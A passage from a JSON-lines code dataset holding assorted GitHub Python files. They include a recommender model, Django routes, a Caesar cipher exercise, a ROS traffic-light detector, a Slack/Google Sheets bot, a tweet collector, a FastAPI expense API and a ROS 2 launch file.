index=False)\n\n\n\n\n\ndf1 = pandas.DataFrame(data={\"Name\": name, \"Age\": age, \"Gender\": gender, \"10th Percent\": percent_10_num, \"12th Percent\": percent_12_num,\n \"JEE Rank\":jee_num, \"Opted for Coaching\": coaching_num, \"Backup Options\": backup_num, \"Extra Curricular Activities(Distinct)\": certificate_num,\n \"Family Income(INR)\": familyIncome_num, \"Dependent Members\": dependentMembers_num,\n \"Month of Visit\": month_num, \"Source of Information\": source_num, \"Home Location\": home_num})\n\ndf1.to_csv(\"./ProjectData_num.csv\", sep=',', index=False)\n\n\n# print(len(jee_num))\n# print(len(percent_12_num))\n# print(len(percent_10_num))\n# print(len(coaching_num))\n# print(len(backup_num))\n# print(len(certificate_num))\n# print(len(reason))\n# print(len(familyIncome_num))\n# print(len(dependentMembers_num))\n# print(len(home_num))\n# print(len(month_num))\n# print(len(source_num))\n#\n","repo_name":"surya-thakur15/Predicting-Potential-College-Applicants-Using-LightGBM","sub_path":"RandomDataGenerator.py","file_name":"RandomDataGenerator.py","file_ext":"py","file_size_in_byte":6499,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"42997445434","text":"from collections import namedtuple\nimport pandas as pd\nimport numpy as np\nfrom datetime import timedelta\n\n\nclass PopModel(namedtuple('PopModel', ['item_probs'])):\n \n @staticmethod\n def last_day_only_decay(user_item_df):\n max_date = user_item_df.ts.max().date()\n return 1.0 * np.logical_and(user_item_df.ts >= max_date, user_item_df.ts < max_date + timedelta(days=1))\n \n @classmethod\n def fit(cls, user_item_df, time_decay_function=last_day_only_decay):\n time_decayed_user_items = user_item_df.copy()\n time_decayed_user_items.loc[:, 'time_decays'] = time_decay_function(user_item_df)\n item_counts = time_decayed_user_items.groupby('item')['time_decays'].sum()\n item_probs = (item_counts / item_counts.sum()).sort_values(ascending=False)\n\n return cls(item_probs)\n \n def recs(self, users, topn=10):\n topn_items = self.item_probs.index[:topn]\n return pd.DataFrame.from_dict({\n 'user': np.repeat(users, topn),\n 'item': np.tile(topn_items, len(users))\n })\n","repo_name":"pilipolio/recs","sub_path":"recs/models/pop.py","file_name":"pop.py","file_ext":"py","file_size_in_byte":1078,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"43185764118","text":"from django.urls import path\n\nfrom .views import anasayfa, hakkimizda, uzmanliklar, kariyer, iletisim, ailehukuku, ishukuku, \\\n saglikhukuku, cezahukuku, gayrimenkulhukuku, sozlesmelerhukuku, icrahukuku, trafikhukuku, ticarethukuku, \\\n makaleler, makaledetay\n\nurlpatterns = [\n path('', anasayfa, name=\"anasayfa\"),\n path('hakkimizda/', hakkimizda, name=\"hakkimizda\"),\n path('uzmanlik-alanlarimiz/', uzmanliklar, name=\"uzmanliklar\"),\n path('kariyer-olanaklari/', kariyer, name=\"kariyer\"),\n path('iletisim/', iletisim, name=\"iletisim\"),\n path('aile-hukuku/', ailehukuku, name=\"ailehukuku\"),\n path('is-hukuku/', ishukuku, name=\"ishukuku\"),\n path('saglik-hukuku/', saglikhukuku, name=\"saglikhukuku\"),\n path('ceza-hukuku/', cezahukuku, name=\"cezahukuku\"),\n path('gayrimenkul-hukuku/', gayrimenkulhukuku, name=\"gayrimenkulhukuku\"),\n path('sozlesmeler-hukuku/', sozlesmelerhukuku, name=\"sozlesmelerhukuku\"),\n path('icra-iflas-hukuku/', icrahukuku, name=\"icrahukuku\"),\n path('trafik-hukuku/', trafikhukuku, name=\"trafikhukuku\"),\n path('ticaret-hukuku/', ticarethukuku, name=\"ticarethukuku\"),\n path('hukuki-yayinlar/', makaleler, name=\"makaleler\"),\n path('/', makaledetay, name=\"makaledetay\")\n]","repo_name":"berkelmas/ajunhukuk","sub_path":"websitesi/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1255,"program_lang":"python","lang":"tr","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"71699126543","text":"from pycocotools.coco import COCO\nimport matplotlib.pyplot as plt\nfrom PIL import Image\nimport numpy as np\n\ncoco = COCO('../TOV_mmdetection_cache/work_dir/COCO//coarsepointv2/noise_rg-0-0-0.25-0.25_1/'\n 'cascade_coarse_point_refine_r50_fpn_1x_coco400/incR2step3stage_c2c_loss0_r6_6_lr0.01_1x_8b8g/'\n 'instances_train2017_refine2_2_r6_6.json')\n\n# coco = COCO('data/coco/annotations/instances_train2017.json')\ncoco = COCO('data/coco/coarse_gen_annotations/noise_rg-0-0-0.25-0.25_1/pseuw16h16/instances_train2017_coarse.json')\n\n\ndef add_segmentations(anns):\n for ann in anns:\n x1, y1, w, h = ann['bbox']\n x2, y2 = x1+w, y1+h\n ann['segmentation'] = [[x1, y1, x2, y1, x2, y2, x1, y2]]\n\n\ndef name2img(coco):\n return {imgs['file_name']: imgs for img_id, imgs in coco.imgs.items()}\n\n\nname_to_img = name2img(coco)\nimg_info = name_to_img['000000415340.jpg']\nimg_id = img_info['id']\nanns = coco.imgToAnns[img_id]\nadd_segmentations(anns)\n\nprint(img_info)\nprint(anns)\nimg_path = f\"data/coco/images/{img_info['file_name']}\"\nimg = np.array(Image.open(img_path))\nplt.imshow(img)\ncoco.showAnns(anns, draw_bbox=True)\nplt.show()\n","repo_name":"Luo-Z13/pointobb","sub_path":"PointOBB/exp/tools/show_img.py","file_name":"show_img.py","file_ext":"py","file_size_in_byte":1159,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"47"} +{"seq_id":"30389186788","text":"# TODO lang: add support for czech\n# TODO lang: add support for other european languages fr, sk, sp, ge, ...\n# TODO lang: add support for even more languages\n# TODO lang: addition of other languages require modifying the character sets\n# TODO lang: e.g. czech: a, b, c, č, d, ď, e, é, ě ...\n# TODO obviously the script needs more advanced approach - need to learn more py\n\nimport math\n\n\nprint('CAESAR\\'S CIPHER', '\\n')\n\n# global variables\n# Uppercase letters\nAZSeries, AZMin, AZMax = 26, 65, 90\n\n# Lowercase letters\nazSeries, azMin, azMax = 26, 97, 122\n\n# Numbers\nnumSeries, numMin, numMax = 10, 48, 57\n\nentryStr, toDoEntry, cypShift, entryWords = '', '', None, ''\ncyphredWords, caesarStr, decyphredStr, toRestart = '', '', '', ''\n\n\ndef askentry():\n global entryStr\n entryStr = ''\n entryStr = str(input('Enter the text you want to make cypher using '\n 'Caesar\\'s cypher: \\n'))\n return entryStr\n\n\ndef askaction():\n global toDoEntry\n toDoEntry = ''\n toDoEntry = str(input('What do you want to do with the string?\\n'\n ' For both cypher and decypher - leave '\n 'empty\\n'\n ' To cypher given string type '\n '\\'c\\' or \\'cypher\\'\\n'\n ' To decypher given string type '\n ' \\'d\\' or \\'decypher\\'\\n\\n'\n ' Your entry: \\n'))\n return toDoEntry\n\n\ndef askshift():\n while True:\n try:\n global cypShift\n cypShift = ''\n cypShift = int(input('How many characters should the text be '\n 'moved? \\n'))\n return cypShift\n except ValueError:\n print('\\n', 'ERROR : Enter a whole number', '\\n')\n\n\ndef circleadd(char_int, range_size, range_min, range_max):\n global cypShift\n if char_int + cypShift > range_max:\n room = range_max - char_int\n frommin = cypShift - room - 1\n addmod = frommin % range_size\n return range_min + addmod\n elif char_int + cypShift < range_min:\n room = char_int - range_min\n tomin = int(math.fabs(cypShift)) - room - 1\n addmod = tomin % range_size\n return range_max - addmod\n else:\n return char_int + cypShift\n\n\ndef caesarin(y):\n global AZSeries, AZMin, AZMax\n global azSeries, azMin, azMax\n global numSeries, numMin, numMax\n if ord(y) in range(65, 91):\n return circleadd(ord(y), AZSeries, AZMin, AZMax)\n elif ord(y) in range(97, 123):\n return circleadd(ord(y), azSeries, azMin, azMax)\n elif ord(y) in range(48, 58):\n return circleadd(ord(y), numSeries, numMin, numMax)\n else:\n return ord(y)\n\n\ndef circlesubt(char_int, range_size, range_min, range_max):\n global cypShift\n if char_int - cypShift < range_min:\n room = range_min - char_int\n frommax = cypShift + room - 1\n subtmod = frommax % range_size\n return range_max - subtmod\n elif char_int - cypShift > range_max:\n room = range_max - char_int\n tomin = int(math.fabs(cypShift)) - room - 1\n addmod = tomin % range_size\n return range_min + addmod\n else:\n return char_int - cypShift\n\n\ndef caesarout(y):\n global AZSeries, AZMin, AZMax\n global azSeries, azMin, azMax\n global numSeries, numMin, numMax\n if ord(y) in range(65, 91):\n return circlesubt(ord(y), AZSeries, AZMin, AZMax)\n elif ord(y) in range(97, 123):\n return circlesubt(ord(y), azSeries, azMin, azMax)\n elif ord(y) in range(48, 58):\n return circlesubt(ord(y), numSeries, numMin, numMax)\n else:\n return ord(y)\n\n\ndef docypher():\n global entryWords\n entryWords = ''\n global caesarStr\n caesarStr = ''\n global entryStr\n global cypShift\n entryWords = entryStr.split()\n for i in entryWords:\n for j in i:\n caesarStr += chr(caesarin(j))\n caesarStr += ' '\n print('Below is your cyphred string shifted by {} characters: \\n'\n '{}'.format(cypShift, caesarStr))\n print()\n\n\ndef dodecypher():\n global cyphredWords\n cyphredWords = ''\n global decyphredStr\n decyphredStr = ''\n global caesarStr\n cyphredWords = caesarStr.split()\n for i in cyphredWords:\n for j in i:\n decyphredStr += chr(caesarout(j))\n decyphredStr += ' '\n print('So it is decyphred: \\n'\n '{}'.format(decyphredStr))\n print()\n askrestart()\n deciderestart()\n\n\ndef decideaction():\n global toDoEntry\n if toDoEntry.strip().lower() in ('c', 'cyp', 'cypher'):\n docypher()\n elif toDoEntry.strip().lower() in ('d', 'decyp', 'decypher',\n 'de-cypher'):\n dodecypher()\n elif toDoEntry.strip().lower() in ('', ' ', None, 'all', 'both'):\n docypher()\n dodecypher()\n else:\n print('Let\\'s try again ... \\n')\n main()\n\n\ndef play():\n global cypShift\n if cypShift < 1:\n print()\n print('Sorry - \\'0\\' is not doing anything, let\\'s save some '\n 'computing time.\\n'\n 'Have a nice day!')\n print()\n else:\n decideaction()\n\n\ndef askrestart():\n global toRestart\n toRestart = ''\n toRestart = str(input('Do you want to enter new string?\\n'\n ' Type : \\'Yes\\' or \\'No\\''))\n return toRestart\n\n\ndef deciderestart():\n global toRestart\n if toRestart.strip().lower() in ('', ' ', 'y', 'yes', 'ok', 'go', 'start',\n '1', 'true'):\n print()\n main()\n elif toRestart.strip().lower() in ('n', 'no', 'not', 'ng', 'stop', 'quit',\n 'exit', '0', 'false'):\n print('\\n Thank you!')\n else:\n askrestart()\n\n\ndef main():\n askentry()\n askaction()\n askshift()\n play()\n\n\nmain()\n","repo_name":"s3icc0/Tutorials","sub_path":"DBTut/Lesson 004 String Functions/pytut_004_exe_002c.py","file_name":"pytut_004_exe_002c.py","file_ext":"py","file_size_in_byte":5917,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"39608790567","text":"\"\"\" coroutine files \"\"\"\n\nimport asyncio\nimport argparse\nimport aiofiles\n\nasync def main() -> None:\n \n parser = argparse.ArgumentParser(\n description=\"Output a file to the console\"\n )\n parser.add_argument('file_path', type=str, help='file to output')\n args = parser.parse_args()\n print(args)\n\n async with aiofiles.open(args.file_path, encoding=\"UTF-8\") as color_file:\n async for color in color_file:\n print(color.rstrip())\n\n\nasyncio.run(main())","repo_name":"t4d-classes/advanced-python_10242022","sub_path":"language_demos/coroutines/coroutines_file.py","file_name":"coroutines_file.py","file_ext":"py","file_size_in_byte":461,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"22862001887","text":"#!/usr/bin/env python\nimport rospy\nfrom std_msgs.msg import Int32, Float64\nfrom geometry_msgs.msg import PoseStamped, Pose\nfrom styx_msgs.msg import TrafficLightArray, TrafficLight\nfrom styx_msgs.msg import Lane\nfrom sensor_msgs.msg import Image\nfrom cv_bridge import CvBridge\nfrom light_classification.tl_classifier import TLClassifier\nfrom scipy.spatial import KDTree\n\nimport tf\nimport cv2\nimport numpy as np\nimport yaml\n\nSTATE_COUNT_THRESHOLD = 3\n\nclass TLDetector(object):\n def __init__(self):\n rospy.init_node('tl_detector')\n\n self.pose = None\n self.waypoints = None\n self.waypoints_tree = None\n self.stop_line_waypoint_idx = None\n self.camera_image = None\n self.lights = []\n\n # construction of light-classifier take a bit of time\n # so we move it here before setup call-back\n config_string = rospy.get_param(\"/traffic_light_config\")\n self.config = yaml.load(config_string)\n\n if not self.config['is_site'] and self.config.get('use_sim_light', False):\n self.light_classifier = None\n rospy.loginfo('[TLDetector] Use sim light status')\n else:\n self.light_classifier = TLClassifier(self.config)\n rospy.loginfo('[TLDetector] Traffic-Light classifier is constructed')\n\n sub1 = rospy.Subscriber('/current_pose', PoseStamped, self.pose_cb)\n sub2 = rospy.Subscriber('/base_waypoints', Lane, self.waypoints_cb)\n\n '''\n /vehicle/traffic_lights provides you with the location of the traffic light in 3D map space and\n helps you acquire an accurate ground truth data source for the traffic light\n classifier by sending the current color state of all traffic lights in the\n simulator. When testing on the vehicle, the color state will not be available. You'll need to\n rely on the position of the light and the camera image to predict it.\n '''\n sub3 = rospy.Subscriber('/vehicle/traffic_lights', TrafficLightArray, self.traffic_cb)\n sub6 = rospy.Subscriber('/image_color', Image, self.image_cb\n , queue_size=1\n , buff_size=2 * 52428800)\n\n\n\n self.upcoming_red_light_pub = rospy.Publisher('/traffic_waypoint', Int32, queue_size=1)\n self.distance_to_traffic_light_pub = rospy.Publisher('distance_to_traffic', Float64, queue_size=1)\n\n self.bridge = CvBridge()\n self.listener = tf.TransformListener()\n\n self.state = TrafficLight.UNKNOWN\n self.last_state = TrafficLight.UNKNOWN\n self.last_wp = -1\n self.state_count = 0\n\n rospy.spin()\n\n def pose_cb(self, msg):\n self.pose = msg\n\n def waypoints_cb(self, waypoints):\n self.waypoints = waypoints.waypoints\n\n if not self.waypoints_tree:\n waypoints_2d = [[waypoint.pose.pose.position.x,\n waypoint.pose.pose.position.y] for waypoint in self.waypoints]\n\n # create KDTree for finding nearest point in 2D\n self.waypoints_tree = KDTree(waypoints_2d)\n\n # query the nearest waypoint to each stop-line\n self.stop_line_waypoint_idx = []\n for i, stop_line_pos in enumerate(self.config['stop_line_positions']):\n light_wp_idx = self.get_closest_waypoint(stop_line_pos[0],\n stop_line_pos[1])\n\n self.stop_line_waypoint_idx.append(light_wp_idx)\n\n def traffic_cb(self, msg):\n self.lights = msg.lights\n\n def image_cb(self, msg):\n \"\"\"Identifies red lights in the incoming camera image and publishes the index\n of the waypoint closest to the red light's stop line to /traffic_waypoint\n\n Args:\n msg (Image): image from car-mounted camera\n\n \"\"\"\n\n # we receive from camera\n self.has_image = True\n self.camera_image = msg\n\n light_wp, state, dist = self.process_traffic_lights()\n\n if(dist is not None):\n self.distance_to_traffic_light_pub.publish(dist)\n\n '''\n Publish upcoming red lights at camera frequency.\n Each predicted state has to occur `STATE_COUNT_THRESHOLD` number\n of times till we start using it. Otherwise the previous stable state is\n used.\n '''\n if self.state != state:\n self.state_count = 0\n self.state = state\n elif self.state_count >= STATE_COUNT_THRESHOLD:\n self.last_state = self.state\n light_wp = light_wp if state == TrafficLight.RED else -1\n self.last_wp = light_wp\n self.upcoming_red_light_pub.publish(Int32(light_wp))\n else:\n self.upcoming_red_light_pub.publish(Int32(self.last_wp))\n self.state_count += 1\n\n def get_closest_waypoint(self, x, y):\n \"\"\"Identifies the closest path waypoint to the given position\n https://en.wikipedia.org/wiki/Closest_pair_of_points_problem\n Args:\n pose (Pose): position to match a waypoint to\n\n Returns:\n int: index of the closest waypoint in self.waypoints\n\n \"\"\"\n #TODO implement\n closest_idx = self.waypoints_tree.query([x, y], 1)[1]\n return closest_idx\n\n def get_light_state(self, light):\n \"\"\"Determines the current color of the traffic light\n\n Args:\n light (TrafficLight): light to classify\n\n Returns:\n int: ID of traffic light color (specified in styx_msgs/TrafficLight)\n\n \"\"\"\n\n # for simulator, we can have state from light\n if not self.config['is_site'] and self.config.get('use_sim_light', False):\n return light.state\n else:\n if(not self.has_image):\n self.prev_light_loc = None\n return TrafficLight.UNKNOWN\n\n # we convert ROS image message to OpenCV format (ref: http://wiki.ros.org/cv_bridge/Tutorials/ConvertingBetweenROSImagesAndOpenCVImagesPython)\n cv_image = self.bridge.imgmsg_to_cv2(self.camera_image, 'bgr8')\n\n # Get classification\n state = self.light_classifier.get_classification(cv_image)\n if not self.config['is_site']:\n rospy.loginfo('Detected light-state [{}] v.s ground-truth [{}]'.format(\n self.light_classifier.get_state_name(state),\n self.light_classifier.get_state_name(light.state)\n ))\n else:\n rospy.loginfo('Detected light-state [{}]'.format(\n self.light_classifier.get_state_name(state)\n ))\n return state\n\n def distance(self, wp1, wp2):\n dist = 0.\n dl = lambda a, b: np.sqrt((a.x-b.x)**2 + (a.y-b.y)**2 + (a.z-b.z)**2)\n for i in range(wp1 + 1, wp2 + 1):\n dist += dl(self.waypoints[i-1].pose.pose.position,\n self.waypoints[i].pose.pose.position)\n\n return dist\n\n def find_nearest_traffic_light(self, car_wp_idx):\n \"\"\"\n Given car waypoint index, we find the nearest & ahead stop-line waypoint index\n Here we use loop since there is only few stop-lines\n Note that if self.stop_line_waypoint_idx is increasing one can use binary search\n :param car_wp_idx:\n :return:\n \"\"\"\n closest_light_idx = None\n diff = len(self.waypoints)\n\n # loop through the line and find the nearest\n for i, stop_line_idx in enumerate(self.stop_line_waypoint_idx):\n d = stop_line_idx - car_wp_idx\n # we want to find stop-line that\n # ahead of us => d >= 0\n # nearest => minimize diff\n if d >= 0 and d < diff:\n diff = d\n closest_light_idx = i\n return closest_light_idx\n\n def process_traffic_lights(self):\n \"\"\"Finds closest visible traffic light, if one exists, and determines its\n location and color\n\n Returns:\n int: index of waypoint closes to the upcoming stop line for a traffic light (-1 if none exists)\n int: ID of traffic light color (specified in styx_msgs/TrafficLight)\n\n \"\"\"\n closest_light_idx = None\n car_wp_idx = None\n dist = None\n\n if(self.pose):\n car_wp_idx = self.get_closest_waypoint(self.pose.pose.position.x,\n self.pose.pose.position.y)\n\n closest_light_idx = self.find_nearest_traffic_light(car_wp_idx)\n\n #TODO find the closest visible traffic light (if one exists)\n if closest_light_idx is not None:\n line_wp_idx = self.stop_line_waypoint_idx[closest_light_idx]\n closest_light = self.lights[closest_light_idx]\n\n # we only check if stop-line waypoint is less than 200 ahead of the current car\n if (line_wp_idx < car_wp_idx + self.config['look_ahead_waypoints']):\n dist = self.distance(car_wp_idx, line_wp_idx)\n state = self.get_light_state(closest_light)\n\n return line_wp_idx, state, dist\n\n return -1, TrafficLight.UNKNOWN, dist\n\nif __name__ == '__main__':\n try:\n TLDetector()\n except rospy.ROSInterruptException:\n rospy.logerr('Could not start traffic node.')\n","repo_name":"minh84/udacity_carnd_capstone","sub_path":"CarND-Capstone/ros/src/tl_detector/tl_detector.py","file_name":"tl_detector.py","file_ext":"py","file_size_in_byte":9363,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"23336888960","text":"import os\nimport logging\nimport gspread\nimport modal\nfrom oauth2client.service_account import ServiceAccountCredentials\nfrom slack_sdk.web.client import WebClient\nfrom slack_bolt import App\nfrom slack_bolt.adapter.aws_lambda import SlackRequestHandler\nfrom pathlib import Path\nfrom dotenv import load_dotenv\n\n'''\nenv_path = Path('.') / '.env'\nload_dotenv(dotenv_path=env_path)\n'''\n\n# To create a logging object\nlogger = logging.getLogger(\"Slack_Integration\")\nlogger.setLevel(logging.DEBUG)\nlog_format = logging.Formatter(\"%(asctime)s - %(name)s - %(levelname)s - %(message)s\")\nsh = logging.StreamHandler()\nsh.setFormatter(log_format)\nlogger.addHandler(sh)\n\n# Google Sheets credentials and API setup\nscope = [\n 'https://spreadsheets.google.com/feeds',\n 'https://www.googleapis.com/auth/drive'\n]\ncredentials = ServiceAccountCredentials.from_json_keyfile_name('credentials.json', scope)\ngc = gspread.authorize(credentials)\nspreadsheet_key = '1OObSxAxUiMsk300yzMRjDBiVReoBU8sIWj5-EqcIR8M'\n\n# Slack app setup\napp = App(token=os.environ.get('SLACK_BOT_TOKEN'))\n\n# Trigger the Shortcut\n@app.shortcut('hello-shortcut')\ndef handle_shortcut(ack, shortcut, client, logger):\n # Acknowledge the shortcut request\n ack()\n\n client.views_open(\n trigger_id=shortcut[\"trigger_id\"],\n view=modal.diction\n )\n\n\n# Opening Modal\n@app.view(\"hello-modal\")\ndef handle_submission(ack, body, client, view):\n ack()\n data1 = view[\"state\"][\"values\"][\"block1\"][\"input1\"][\"value\"]\n data2 = view[\"state\"][\"values\"][\"block2\"][\"input2\"][\"value\"]\n data3 = view[\"state\"][\"values\"][\"block3\"][\"input3\"][\"value\"]\n data4 = view[\"state\"][\"values\"][\"block4\"][\"input4\"][\"value\"]\n data5 = view[\"state\"][\"values\"][\"block5\"][\"input5\"][\"value\"]\n data6 = view[\"state\"][\"values\"][\"block6\"][\"input6\"][\"value\"]\n\n # Write data to Google Spreadsheet\n sheet = gc.open_by_key(spreadsheet_key).sheet1\n sheet.append_row([data1, data2, data3, data4, data5, data6])\n\n msg = \"Your submission was successful\"\n try:\n client.chat_postMessage(channel=\"C05CAG9H162\", text=msg)\n except Exception as e:\n logger.exception(f\"Failed to post a message {e}\")\n\n\n# Create the SlackRequestHandler for AWS Lambda\nslack_request_handler = SlackRequestHandler(app)\n\n# Lambda handler function\ndef lambda_handler(event, context):\n return slack_request_handler.handle(event, context)\n","repo_name":"JoshuaXavier/AWS","sub_path":"G.py","file_name":"G.py","file_ext":"py","file_size_in_byte":2386,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"20394518536","text":"#See http://www.dealingdata.net/2016/07/23/PoGo-Series-Tweepy/\n\nimport sys\nimport os\nimport jsonpickle\nimport tweepy\n\n#Authentication\nauth = tweepy.AppAuthHandler(consumer_key, consumer_secret)\nauth.set_access_token(access_token, access_secret)\n\n#Creating a twitter API wrapper using tweepy\n#See http://docs.tweepy.org/en/v3.7.0/api.html\napi = tweepy.API(auth, wait_on_rate_limit=True,wait_on_rate_limit_notify=True)\n\n#Error handling\nif (not api):\n print (\"Problem connecting to API\")\n\n#Configuration\nsearchQuery = 'search this'\nmaxTweets = 1000000\ntweetsPerQry = 100\n\n#Set cursor to collect tweets\ntweetCount = 0\n\n#Open a text file to save the tweets to\nwith open('tweets.json', 'w') as f:\n\n for tweet in tweepy.Cursor(api.search,q=searchQuery).items(maxTweets) : \n\n #Verify the tweet has [this_info] before writing\n #if tweet.[this_info] is not None:\n \n f.write(jsonpickle.encode(tweet._json, unpicklable=False) + '\\n')\n tweetCount += 1\n\n #Display how many tweets we have collected\n print(\"Downloaded {0} tweets\".format(tweetCount))\n","repo_name":"kproductivity/bitsandbobs","sub_path":"twee.py","file_name":"twee.py","file_ext":"py","file_size_in_byte":1102,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"35134163784","text":"from uuid import UUID\nfrom typing import Any, List\nfrom datetime import datetime\n\nfrom sqlalchemy.orm import Session\nfrom fastapi import APIRouter, Depends\n\nfrom dependencies import get_db\nfrom schemas.expense import (\n ExpenseCreate, ExpenseEdit, Expense, FilterExpense, ExpenseBalance\n)\nfrom services.expense import (\n create_expense, modify_expense, remove_expense, filter_expenses,\n get_monthly_balance\n)\n\nexpense_router = APIRouter()\n\n\n@expense_router.post('/', response_model=Expense)\ndef create_new_expense(\n expense: ExpenseCreate,\n db: Session = Depends(get_db)\n) -> Any:\n \"\"\"\n Create new expense.\n\n :param expense: Expense data\n :param db: Current database session\n :returns: Newly created expense\n \"\"\"\n new_expense = create_expense(db=db, expense=expense)\n return new_expense\n\n\n@expense_router.put('/{expense_id}', response_model=Expense)\ndef modify_existing_expense(\n expense_id: UUID,\n new_expense: ExpenseEdit,\n db: Session = Depends(get_db)\n) -> Any:\n \"\"\"\n Modify existing expense.\n\n :param new_expense: New expense data\n :param expense_id: ID of the expense which will be modified\n :param db: Current database session\n :returns: Newly updated expense\n \"\"\"\n modified_expense = modify_expense(\n db=db, new_expense=new_expense, expense_id=expense_id\n )\n return modified_expense\n\n\n@expense_router.delete('/{expense_id}', response_model=Expense)\ndef remove_existing_expense(\n expense_id: UUID,\n db: Session = Depends(get_db)\n) -> Any:\n \"\"\"\n Remove expense.\n\n :param expense_id: Expense ID\n :param db: Current database session\n :returns: Removed expense\n \"\"\"\n removed_expense = remove_expense(db=db, expense_id=expense_id)\n return removed_expense\n\n\n@expense_router.get('/filter', response_model=List[FilterExpense])\ndef get_expenses_by_timeframe(\n db: Session = Depends(get_db),\n end_time=datetime.now().isoformat(),\n start_time=datetime.today().replace(\n day=1, hour=0, minute=0, second=0, microsecond=0\n ).isoformat()\n) -> Any:\n \"\"\"\n Filter expenses by provided timeframe. Defaults to current month.\n\n :param db: Current database session\n :param start_time: Start time for the filtering\n :param end_time: End time for the filtering\n :returns: List of expenses in provided timeframe\n \"\"\"\n filtered_expenses = filter_expenses(\n db=db, start_time=start_time, end_time=end_time\n )\n return filtered_expenses\n\n\n@expense_router.get('/monthly_balance', response_model=ExpenseBalance)\ndef user_monthly_balance(\n name_1: str, name_2: str, db: Session = Depends(get_db),\n) -> Any:\n \"\"\"\n Get two persons monthly balance and calculate who paid less for the given\n month.\n\n :param db: Current database session\n :param name_1: First person name\n :param name_2: Second person name\n :returns: Each person balance\n \"\"\"\n user_balance = get_monthly_balance(db=db, name_1=name_1, name_2=name_2)\n return user_balance\n","repo_name":"Jonny137/budgette","sub_path":"routers/expense.py","file_name":"expense.py","file_ext":"py","file_size_in_byte":3031,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"11961018838","text":"import re\n\ndef parse(content, mode):\n if mode == 'anki_front_back':\n bullet_pattern = r'^- (.*?)$'\n sub_bullet_pattern = r'^\\s{4}- (.*?)$'\n bullets = re.findall(bullet_pattern, content, re.MULTILINE)\n sub_bullets = re.findall(sub_bullet_pattern, content, re.MULTILINE)\n return list(zip(bullets, sub_bullets))\n\n elif mode == 'anki_cloze':\n cloze_pattern = r'([^.\\n]+(\\[.*?\\]|\\(.*?\\))[^.\\n]*\\.)'\n clozes = re.findall(cloze_pattern, content)\n return [match[0] for match in clozes]\n","repo_name":"rshlsc/Noan","sub_path":"markdown_parser.py","file_name":"markdown_parser.py","file_ext":"py","file_size_in_byte":540,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"20310383413","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\nimport os\nimport random\nfrom launch import LaunchDescription\nfrom launch.actions import DeclareLaunchArgument\nfrom launch.actions import IncludeLaunchDescription\nfrom launch.launch_description_sources import PythonLaunchDescriptionSource\nfrom launch_ros.actions import Node\nfrom launch.substitutions import Command\nfrom ament_index_python.packages import get_package_share_directory\nfrom ament_index_python.packages import get_package_prefix\nimport subprocess\n\ndef generate_launch_description():\n #files\n description_package_name = \"barista_robot_description\"\n urdf_file = 'barista_robot_model.urdf'\n rviz_file = 'vis2.rviz'\n world_selected = 'obstacles.world'\n # Position and orientation\n position = [0.0, 0.0, 0.2]\n orientation = [0.0, 0.0, 0.0]\n robot_base_name = \"barista\"\n #fetching\n pkg_gazebo_ros = get_package_share_directory('gazebo_ros')\n pkg_robot_gazebo = get_package_share_directory(description_package_name)\n install_dir = get_package_prefix(description_package_name)\n\n #instalation\n gazebo_models_path = os.path.join(pkg_robot_gazebo, 'meshes')\n\n if 'GAZEBO_MODEL_PATH' in os.environ:\n os.environ['GAZEBO_MODEL_PATH'] = os.environ['GAZEBO_MODEL_PATH'] + ':' + install_dir + '/share' + ':' + gazebo_models_path\n else:\n os.environ['GAZEBO_MODEL_PATH'] = install_dir + \"/share\" + ':' + gazebo_models_path\n\n if 'GAZEBO_PLUGIN_PATH' in os.environ:\n os.environ['GAZEBO_PLUGIN_PATH'] = os.environ['GAZEBO_PLUGIN_PATH'] + ':' + install_dir + '/lib'\n else:\n os.environ['GAZEBO_PLUGIN_PATH'] = install_dir + '/lib'\n\n print(\"\\nGAZEBO MODELS PATH==\" + str(os.environ[\"GAZEBO_MODEL_PATH\"]))\n print(\"GAZEBO PLUGINS PATH==\" + str(os.environ[\"GAZEBO_PLUGIN_PATH\"]) + '\\n')\n\n # Gazebo launch\n gazebo = IncludeLaunchDescription(\n PythonLaunchDescriptionSource(\n os.path.join(pkg_gazebo_ros, 'launch', 'gazebo.launch.py'),\n )\n )\n\n # Robot State Publisher\n robot_desc_path = os.path.join(get_package_share_directory(description_package_name), \"urdf\", urdf_file)\n urdf_content = subprocess.check_output(['xacro', robot_desc_path]).decode('utf-8')\n robot_state_publisher_node = Node(\n package='robot_state_publisher',\n executable='robot_state_publisher',\n name='robot_state_publisher_node',\n emulate_tty=True,\n parameters=[{'use_sim_time': True, 'robot_description': urdf_content}],\n output='screen'\n )\n\n # RVIZ Configuration\n rviz_config_dir = os.path.join(get_package_share_directory(description_package_name), 'rviz', rviz_file)\n rviz_node = Node(\n package='rviz2',\n executable='rviz2',\n output='screen',\n name='rviz_node',\n parameters=[{'use_sim_time': True}],\n arguments=['-d', rviz_config_dir]\n )\n\n # Spawn ROBOT Set Gazebo\n entity_name = robot_base_name + \"-\" + str(int(random.random() * 100000))\n spawn_robot = Node(\n package='gazebo_ros',\n executable='spawn_entity.py',\n name='spawn_entity',\n output='screen',\n arguments=['-entity', entity_name,\n '-x', str(position[0]), '-y', str(position[1]), '-z', str(position[2]),\n '-R', str(orientation[0]), '-P', str(orientation[1]), '-Y', str(orientation[2]),\n '-topic', '/robot_description']\n )\n\n return LaunchDescription([\n DeclareLaunchArgument('world', default_value=[os.path.join(pkg_robot_gazebo, 'worlds', world_selected), ''], description='SDF world file'),\n 